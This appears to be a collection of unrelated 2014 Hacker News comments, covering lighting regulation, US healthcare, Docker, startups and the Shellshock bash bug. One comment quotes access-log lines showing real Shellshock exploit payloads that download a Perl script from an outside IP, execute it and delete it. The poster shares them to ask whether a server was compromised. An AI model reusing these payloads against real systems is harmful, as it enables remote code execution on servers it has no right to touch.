skysight-inc/HackerNews huggingface dataset:
For starters, stop it with the depth-of-field and lens flare and chromatic aberration. At least for motion blur most attempts are at simulating normal motion blur, rather than the staccato motion blur you get from a shutter.

A cool thing would be to do DoF combined with eye tracking and focus exactly where I'm looking at the scene.
Big fan of SELinux here - it's really saved my ass a few times and the best thing about it is that these days it's so damn easy to configure that you're mad not to use it.
Ah sorry, I should have clarified, I should have qualified with "consumer facing"
"Hackers" are those who tinker with stuff for fun.
"Crackers" are those who break into systems for profit.
My early 90's Canon eventually leaked all over. It was a big mess. My Epsons clogged and prompted me to do futile head cleaning routines that wasted a lot of paper.

My HP was sort of okay, but it turns out that I don't print enough. Any inkjet would clog under my normal use.
> In the EU, incandescent bulbs were banned as part of a directive [1] to reduce energy use, as only 10% of the energy put in was converted to light. That sounds like a sensible move to me rather than lobbying.

If it makes economical sense, let consumers judge for themselves. The cost at purchase of LEDs / CFLs is way higher than traditional light bulbs. Everyone should be able to have access to cheap lights.
If LXC was better, i dont think people would like docker as much. Docker works because theres very little configuration or fiddling around needed.
Jesus you are desperate to prove something here aren't you?

This is a chart of per PC profit. Let's break that phrase down:

"per" -- this says nothing about industry-wide profit, which you would need to address in a discussion about whether or not the industry is in decline. If I said that profit-per-telephone for rotary phones was the highest ever this year, would you be convinced that the industry is doing better than ever?

"PC" -- not just laptops. This graph goes all the way back to 2006, when laptops were hardly as ubiquitous as they are today.

I don't understand what you're trying to do here. The industry is clearly in decline by every accepted measure. Even if we go by your chart, any industry whose major players are doing worse than (or at best, about even) with their numbers from 8 years ago would be said to be declining. Not stable, which is another term with a specific meaning, and also not what you think it is.
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How does the healthcare system work in the USA? You have to pay hospital out of your pocket? Somebody who has not enough funds will not be treated?
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Exactly. I think it's wonderful that both companies are able to not only innovate and stay modern, but do a really good job of producing quality fiction and non-fiction programming (not that it's ALL great).

NHK in particular always has a bunch of really neat "how it's made" documentaries that explore places that make everyday things, like snacks or umbrellas or what have you. I always enjoy those, even if other people don't. :-/
Water is one of zillions of elements that need to get together for there to be life. Expectations increasing? Yes. Greatly? :)
It's complicated, and it's been abundantly discussed on the internet, if you'd care to use a service like Google to research it. Let's keep this thread about helping this one guy, rather than debating the merits of various health care systems.
Correct me where i am wrong:

While cities and residential areas get a lot power cuts, the electric companies aim to provide industries with continuous power. Plus they are setting this up as a new industrial area so i suppose it is conceivable that they will have dedicated power production for this strip.

Again, this being built right on the highway, are high way conditions in india bad too?
Go 1.3.2 is released – fixes tls security bug
Andre Gerrand:

Hi gophers,

We've just released Go version 1.3.2, a minor point release.

This release includes bug fixes to cgo and the crypto/tls package.
https://golang.org/doc/devel/release.html#go1.3.minor

The crpyto/tls fix addresses a security bug that affects programs that use crypto/tls to implement a TLS server from Go 1.1 onwards. If the server enables TLS client authentication using certificates (this is rare) and explicitly sets SessionTicketsDisabled to true in the tls.Config, then a malicious client can falsely assert ownership of any client certificate it wishes. This issue was discovered internally and there is no evidence of exploitation.

You can download binary and source distributions from the Go web site:
https://golang.org/dl/

To compile from source using a Mercurial checkout, update to the release with "hg update release" and build as usual.

Thanks to everyone who contributed to the release.

Andrew
Addicts are getting a different chemical brain reward from non-addicts. An addict drinking alcohol is not someone who just really really enjoys it, anymore than someone who is depressed is really sad.

I like - very occasionally - to put a few coins in to a fruit machine, or to wager on an event. But I don't get the addictive impulse from it, I don't have to fight the voice in my head, I don't get the rush followed by the shame, and I don't and I don't get the feeling of unstoppable momentum from it that marks an addiction. I'd be willing to bet if I did it more frequently that it'd get that way.
For things like this, yes. If you land in the emergency room with an acute emergency (heart attack, stroke, car accident, etc.), anyone will be stabilized regardless of ability to pay, but that doesn't apply to things that aren't stabilization of an acute emergency, like rehabilitation or chemotherapy. The case here is in the 2nd category.
Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells:

access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"

Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.
Hi Adrian,

Longshoreman looks interesting. I have two questions I couldn't find an answer to. How does port allocation work? And can you specify rules such as: service a should be on all hosts.
In my building, administration changed last year all the floor lamps with CFL. From a total of 19 bulbs, 2 burned out.

They stay on all day long. That means 10% of the bulbs burned before reaching 9000 hours. The rest seems to be unaffected.

However, _older_ lamps (made > 15, 20 years ago) used to last much longer than two or three years on all the time. I know this because I took notice of this at the moment.

I have incandescent bulbs that are more than 10 years old, that burn 2-3 hours a day today. Incandescent bulbs I bought in the last years typically lasted less than 1-2 years at a similar burning rate. I saw a change in bulb quality when the local industry died (east Europe) and all you could get were Osram from Poland or Phillips.

In my opinion, the reaches of the cartel are still strong.
There are spokepersons and PR people...
If you have insurance, your insurance needs to cover the treatment recommended by your doctor. In many cases it will be covered without and issue, but some treatments will not be covered in favor of other (usually less expensive) services. Having insurance is usually the only feasible way to get preventative care.

Even with insurance you are often still responsible for a portion of your care, at least until a certain amount. This obligation to pay renews every year in most cases, so even if you reach the limit of your obligation this year, next year you will have to reach it again.

If you are not insured, you will have to pay out of pocket. Hospitals cannot deny you care if you are in an emergency condition, but they are only required to get you to a stable condition. I believe you are still required to pay, but they aren't allowed to deny you care if you can't.
But Vim has window management built in too, with splits, tabs, buffers, etc.
People are not going to buy what they "like". They are going to buy what they truly like in real life. Something they think is very cool, perhaps haven't seen it anywhere else.

It would be exactly the same thing like with fb ads and fb pages. Some people just complain and complain about everything, other are just quietly crushing it.
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Of course I realise that - I'm just pointing out how John Key can probably say what he's saying and not be technically lying. Whether he's telling the whole truth is doubtful, of course.

But of course, it's another example of how the law lags way behind on tech matters - within 5 or 10 years an agent having to actually look at the data will be totally anachronistic. Algorithms can already find patterns more readily than humans can in many cases.
If it took 1 person to make, sell, and distribute those things, then $70 million are enough to retire comfortably. If it takes 100 people, then you could still retire, if you lived somewhere cheap.

More realistically, you might sell a few hundred thousand to the developed world, and then sales fall off a cliff, because it takes a lot of work to distribute outside your home market. Total payoff: Less than 2 months' salary.

That's the concern with the new lights. The industry is built on 1,000-hour bulbs and regular replacements. We currently have a boom as incandescents get replaced by fluorescents and fluorescents get replaced by LEDs (my father hates fluorescent light). Once that is done, who is going to buy bulbs at the rate that the factories can produce them?
Might be interesting to know that Swedens SVT (Sveriges Television, Swedish Television) is also modeled after the BBC and the UK television license. I'm sure there's plenty more country broadcasters, like above comments have mentioned - the UK and the BBC are quite the pioneers in this field.
In principle it shouldn't execute anything, it's only supposed to parse functions. The problem is that it's such an obscure feature I bet almost no-one knew it existed, the many eyes didn't exist in this case.
I can't really imagine how I could be convicted for thoughts or beliefs - only actions are punishable AFAIK. Or not?

Numerous laws will look at an action and your thoughts to decide what crime you were convicted of (e.g. murder vs manslaughter, theft, intent to commit $CRIME, etc.)

You have to pick one, so how can you prove your decision was not racist?

Cripes, simple examples like that aren't what anti-racism laws are for. It's when 10 black people turn up and the landlord tells them the apartment is gone, but it isn't.
At the same time, maybe it's situations like this that influence peoples' opinion on the matter.
Is there a way to check if this is legitimate?
Prediction: Next trend in new tech-economy? [Constructive feedback welcome]
In some regions (e.g. EU) ethnicity is defined as the same thing as race for anti-discrimination law.
It's a perfectly fine set of criteria for best practices in defining modern elliptic curves, imho.

Focus is on the simplicity of correct implementations, and on trying to avoid manipulatable variables.

However, I do not on balance think the NIST curves secp256r1 and secp384r1 are backdoored, and I've tried hard to look into it. The reason behind the incredible opacity surrounding their progeny appears to be Certicom IPR (at the time), although they did work with Jerry Solinas at the NSA and I do not feel comfortable ruling foul play out completely. The NSA certainly do really use them internally, but I'm not sure what conclusions we can really draw from that.
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security updates don't always mean upgrading
In the case of Uber and Lyft, surge pricing sorts out who really wants the rides.

No it doesn't - it sorts out who really wants the ride and can pay the price. Like many things in economics, laws of supply and demand are expressed ceteris paribus - all other things being equal. When everyone has the same amount of money, then demand pricing does indeed reflect who wants a good or service more. But in the real world this isn't true, so the idealized law does not accurately model real economic behavior and thus you shouldn't build on such a shaky foundation.

One reason that regulators impose price controls on taxi services is to give people with lesser income a degree of predictability about what a taxi ride will cost. The downside of this is indeed shortages, but insofar as time is fungible surge pricing leads to shoratages as well, it's just that they only affect poorer people who have to wait for the richer people to exhaust their demand.

If surge pricing was banned, then a traveler might not be able to get home from the airport because someone wanted an Uber ride to a sports bar to watch a football game.

That really makes no sense. If a sufficiently exciting game is on then people may be willing to pay top $ to be taken to sports bars and make the ride from the airport unaffordable. Indeed, given the relative scarcity of football games to plane flights, surge pricing seems more likely to occur in response to a popular sporting event than a flight arrival. I'm perplexed as to why you assume the air traveler is willing or able to pay more (although we can easily understand wanting to take a cab instead of a bus or train after a tiring journey), or why you assume that this would necessarily lead to a more economically efficient result.

As a purely anecdotal observation, I've never had a problem getting a cab at an airport, and only rarely at a train station. Cab drivers also like predictability and while they might be able to make more via surge pricing during very busy periods, there's also value in having places where the demand is very predictable, like transit infrastructure. Like everyone else, cab drivers have different priorities - some may be happy to chase demand, others may need to work fixed hours because of family or contractual commitments, and want less income volatility.

I'm not railing against demand-based pricing here, I'm just pointing out that the real world is more complex than just supply and demand.
Could you provide a link? The only recent thing I could find was http://www.france24.com/en/20140925-france-heightened-securi...
Is any fix going to be rolled out to older no longer supported versions of Linux? I know they're out of support but I think this is a special case and deserves the attention.
While they sit there, oblivious to the fact that that router thing we use for the interwebs and all those IP cameras, NAS devices, and switches in their office are running linux, and bash, and are about to be used for industrial-grade extortion.
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Package names in distributions have to be unique though, so this one will probably have to be called clasp-llvm or something like that.
Entrepreneurship and startups explained visually through infographics
If he says they were anonymous people who set it up, what guarantees are there that the money would actually go to him?
Counterpoint: Heroku Button is the Docker killer [https://news.ycombinator.com/item?id=8148794]. :)

It's cute to be bombastic, but no one's getting killed. The dotCloud people have always been my favourite PaaS people, and competition in deployment UX is sorely friggin' needed.
I'm all for decreasing energy consumption, but the last two flats I've rented have come as-built-new with dimmer switches which do not work with newfangled fixtures.

One was a set of many small ceiling fixtures for which only LED lamps could anymore be bought in shops, and those flickered because the switches were dimmers (which themselves would save energy, because most of the time 50% was enough).

The second flat had a $200 electronic dimmer switch, again as installed by the builders, and a halogen fixture with some sort of ballast or whatever you call it these days. This also flickered constantly, and worse, it burned out the dozen tiny $5 halogen bulbs every week. The fixture had to be replaced; the new one takes standard-size halogen bulbs and has no ballast thingy to make them flicker.

It has become quite unpleasant to move into new buildings and find that the electricals are not compatible even as built. And most shops won't sell some of the bits I need to fix it, because the government told them not to...but other less-convenient shops still do sell them.
I'd love to have a list of people or companies who are crushing it with FB content marketing (not FB ads, which is different). Could you please help me with that?

Because the people who were crushing it with Twitter, you know, it turned out to be just bullshit (the revolution in Iran, Dell, Zappos, for example). Thanks.
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why do people use custom scrolling behaviour? it's always horrible
Have you ever had personal experience of working for some time at a commercial station?
This isn't raising money for just direct medical expenses; if you work as a contractor, consultant, speaker, etc., and for some reason can't work for a few months, it doesn't really matter if all your medical expenses are paid 100% -- you have no income, and for a lot of people, that means paying regular bills becomes difficult. It's not like your rent expenses at home go away just because you're staying in a hospital instead.
I'd say it's more that they aim to be more full-stack than just the upper sysadmin layer.
As a person in the IT industry within Australia, I speak to normal average people every day about these things. In the last 2 days I have spoken to many people about these new laws, and the general consensus is THEY DON'T CARE, just plain and simple. Your average person has many more problems to deal with other than the government spying on them. We do not have "free speech" here in Australia, so most people don't really see this as a big problem. Bear in mind this is a country where healthcare is pretty much free, our wages are extremely high compared to most countries, and our welfare and pension system is reasonable. No matter what bitching and moaning people do, the government has "generally" looked after us (though our current PM is beginning to change that). On top of this the government and mass media are collectively running a scare campaign on terror, so people just look at the news and go "Yep, that makes sense". Having said that I do not agree with any of these laws, but there is very little I can do about it myself. I didn't vote for the current government, and my local member of parliament is part of the opposition anyhow, so as a single person its pretty much game over.
Well, maybe you should look at your /bin/sh

ls -l /bin/sh

lrwxrwxrwx 1 root root 4 Sep 24 08:07 /bin/sh -> bash
If you live in the UK there maybe a Haynes manual available (not sure if these are available outside the UK). These are books published by Haynes and typically have photographs and descriptions of common faults, engine rebuilding step-by-step guides as well as more simple servicing activities.

Some cars are popular enough to have dedicated websites devoted to them with guides and forums (e.g. Smart car: http://fq101.co.uk).

It should be noted that servicing ones own car comes with pitfalls. You must invest in quite a lot of expensive tools, have a workshop area or driveway to do the servicing and ultimately if you fail to complete the task, you might end up with an unusable or dangerous car.

A good reason to know about how cars work and what goes wrong with them is that when choosing a good garage to have service it, you are in a stronger position and cannot so easily be tricked into having servicing done when it is not necessary.
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Congrats to all involved :)
One size does not fits all since all the companies and their businesses are different. But that does not mean there are tested practices going well with most cases.

Take, for example, the required reading from 1st lesson, Do things that don't scale [1].

And I know Brian Chesky and Joe Gebbia didn't feel like they were en route to the big time as they were taking "professional" photos of their first hosts' apartments. They were just trying to survive. But in retrospect that too was the optimal path to dominating a big market.

I remember reading somewhere that PG advised the photo thing to AirBnB, I might be wrong, to see if better photos is good for business (it appears it is). Now we have the same advice though a required reading link in the lesson. This does not mean your startup may benefit from such actions that don't scale but it's a good advice nevertheless. And being a long time lurker on HN, I'm sure I have heard most of the advice here and there but it's great for me to get them at home from thousand of kilometers away in a totally different country.

[1] http://paulgraham.com/ds.html
What this all means is that YC's core value stems more from their brand than their knowledge, because if the reverse were true this class wouldn't exist publicly. It doesn't hurt to divulge your secret sauce, if that can only slightly hurt you while reinforcing your access to top talent.
debian testing do receive security patches, but it is not a priority so they may not get there in a timely manner.
Please, don't use automatic translator.

The text:
"Jabalina es una hermosa, móvil-en primer lugar, y el pensamiento para navegadores de Android"

It has no sense.
Then let it speak for itself (I think it does). Politics are a poisonous topic for sites like this and are off-topic according to the guidelines.

https://news.ycombinator.com/item?id=6120530
Or if you're dealing with data that isn't compile-time constant, but can be expected to remain unchanged for the duration of something that needs to be optimized all the way.
as someone geographically & logically outside of the silicon valley bubble, working in the 'real economy' and a bit older than the y combinator target group it hurts me to see those kind of lectures / advice on startups.

from my perspective it all seems like one big circle jerk, especially considering the hive-mind mentality here on hackernews where working 80hours+ / week for some fun app startup seems like good guidance for young people and something to strive for.

the goal of a startup is to make money, not raising money. the SV scene seems to be concentrating on the latter since its influenced & guided completely by venture capitalists and their interests instead of market opportunities.

to be provocative: just throw thousands of teenagers at random things, give them some pocket money and hope something sticks. motivate them by giving them some grand illusion of being an independent entrepreuner. burnout is just something that comes with the game. give them lectures to clone them into perfect worker bees for VCs as traditional education would clone them into perfect big corp employees.

my advice to young people with drive is: go travel, see the world first. solve real problems. starting your typical SV startup is mostly an illusion and a bad proposition for you. young age is certainly good for coming up with disrupting ideas, but execution profits heavily from life experience - think of survivorship bias and don't be fooled by the few success stories.
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